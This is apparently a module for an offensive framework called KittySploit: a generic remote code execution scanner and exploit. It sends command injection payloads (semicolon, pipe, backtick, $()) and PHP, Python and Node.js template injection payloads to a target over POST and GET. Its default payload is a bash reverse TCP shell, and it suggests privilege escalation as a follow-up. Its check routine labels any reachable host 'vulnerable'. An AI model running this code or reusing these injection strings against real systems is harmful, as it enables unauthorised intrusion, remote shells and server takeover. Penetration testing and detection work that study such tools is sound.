RCE Scanner

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
import urllib.parse


class Module(Exploit, Http_client):

    __info__ = {
        "name": "RCE Scanner",
        "description": "Generic Remote Code Execution scanner and exploit that tests multiple RCE vectors",
        "author": "KittySploit Team",
        "cve": [],
        "arch": [Arch.X86, Arch.X64],
        "platform": Platform.MULTI,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "arch": [Arch.X86, Arch.X64],
            "platform": [Platform.UNIX, Platform.LINUX],
            "category": PayloadCategory.SINGLE,
        },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
    },
    }

    exploit_path = OptString("/", "Path to vulnerable endpoint", required=False)
    scan_only = OptBool(False, "Only scan, do not exploit", required=False)

    def check(self):
        """
        Check if target is accessible
        """
        try:
            response = self.http_request(method="GET", path="/")
            if response:
                return {
                    'vulnerable': True,
                    'reason': 'Target is accessible',
                    'confidence': 'low'
                }
            return {
                'vulnerable': False,
                'reason': 'Target not accessible',
                'confidence': 'high'
            }
        except Exception as e:
            return {
                'vulnerable': False,
                'reason': f'Check failed: {str(e)}',
                'confidence': 'low'
            }

    def test_rce_vector(self, vector_name, payload_data, method='POST'):
        """
        Test a specific RCE vector
        
        Args:
            vector_name: Name of the RCE vector
            payload_data: Payload data to send
            method: HTTP method to use
            
        Returns:
            bool: True if successful
        """
        try:
            path = self.exploit_path if self.exploit_path else "/"
            print_info(f"Testing {vector_name}...")
            
            if method == 'POST':
                response = self.http_request(
                    method="POST",
                    path=path,
                    data=payload_data,
                    allow_redirects=False,
                    timeout=10
                )
            else:
                # GET
                param = list(payload_data.keys())[0]
                value = list(payload_data.values())[0]
                encoded = urllib.parse.quote(str(value))
                response = self.http_request(
                    method="GET",
                    path=f"{path}?{param}={encoded}",
                    allow_redirects=False,
                    timeout=10
                )
            
            if response and response.status_code in [200, 500]:
                # Check for command output indicators
                if 'uid=' in response.text or 'gid=' in response.text or 'root:' in response.text:
                    print_success(f"{vector_name} - Command executed successfully")
                    return True
            
            return False
        except:
            return False

    def run(self):
        """
        Execute the RCE scan/exploit
        """
        try:
            if self.scan_only:
                print_status("Scanning for RCE vulnerabilities...")
            else:
                print_status("Attempting RCE exploitation...")
            
            command = self.payload if not self.scan_only else "id"
            
            # Test various RCE vectors
            vectors = [
                ("Command Injection (semicolon)", {"cmd": f"; {command}"}),
                ("Command Injection (pipe)", {"cmd": f"| {command}"}),
                ("Command Injection (backtick)", {"cmd": f"`{command}`"}),
                ("Command Injection (dollar)", {"cmd": f"$({command})"}),
                ("PHP Code Injection", {"cmd": f"<?php system('{command}'); ?>"}),
                ("Python Code Injection", {"cmd": f"__import__('os').system('{command}')"}),
                ("Node.js Template Injection", {"cmd": f"<%= global.process.mainModule.require('child_process').execSync('{command}') %>"}),
            ]
            
            for vector_name, payload_data in vectors:
                if self.test_rce_vector(vector_name, payload_data, method='POST'):
                    if not self.scan_only:
                        self.vulnerable()
                        return True
                
                if self.test_rce_vector(vector_name, payload_data, method='GET'):
                    if not self.scan_only:
                        self.vulnerable()
                        return True
            
            if self.scan_only:
                print_info("Scan completed - no RCE vulnerabilities detected")
            else:
                print_error("Exploitation failed")
                self.not_vulnerable()
            
            return False
            
        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            return False